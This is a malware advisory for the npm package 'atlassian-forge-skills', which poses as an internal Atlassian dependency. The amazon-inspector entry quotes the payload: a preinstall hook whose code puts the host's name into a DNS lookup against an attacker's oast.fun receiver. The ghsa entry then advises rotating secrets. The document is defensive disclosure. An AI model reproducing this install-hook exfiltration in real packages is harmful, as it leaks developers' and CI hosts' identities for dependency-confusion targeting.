atlassian-forge-skills

Details

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_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (0ca0f4b99cda621977551550ed678ad77ee82827714acb9d08534f53b0642e3c)
Package impersonates an internal Atlassian Forge dependency (unscoped name `atlassian-forge-skills`, description 'Internal package', generic author 'Team'). `package.json` declares `"preinstall": "node index.js"`, which fires automatically on `npm install`. `index.js` lines 6-8 read `os.hostname()` and embed it as a subdomain of a hardcoded interactsh OAST receiver: `const targetDomain = `${hostname}.zcagyqqmvnmgsklstrrr6xo2715tov7wz.oast.fun`; dns.lookup(targetDomain, () => {});`. The DNS lookup is sufficient to leak the installer's hostname to the attacker-controlled `oast.fun` DNS server — the canonical dependency-confusion payload, where any developer or CI pipeline that mistakenly resolves an internal Atlassian package name to this public registry entry exposes host identity for follow-on targeting.

## Source: ghsa-malware (a17c91aac3c46d1cce6065a19971444e6acca0d789f3507bc62547197d2c86d0)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Compromised versions (1)

• 29.1.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.